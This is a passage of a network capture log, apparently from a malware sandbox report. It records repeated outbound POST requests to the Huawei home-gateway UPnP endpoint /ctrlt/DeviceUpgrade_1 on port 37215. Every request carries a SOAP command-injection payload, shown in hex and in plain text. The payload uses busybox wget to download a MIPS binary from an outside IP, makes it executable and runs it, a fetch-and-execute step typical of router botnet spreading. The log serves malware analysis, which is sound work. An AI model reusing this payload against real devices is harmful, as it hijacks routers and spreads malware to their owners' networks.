/faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:11.452522993 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:15.164586067 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:22.588531017 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:37.436522961 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:08.668534040 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.13	54080	94.121.223.30	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:08.265249968 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.13	34092	156.241.97.16	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:13.901819944 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:17.980701923 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:24.124528885 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
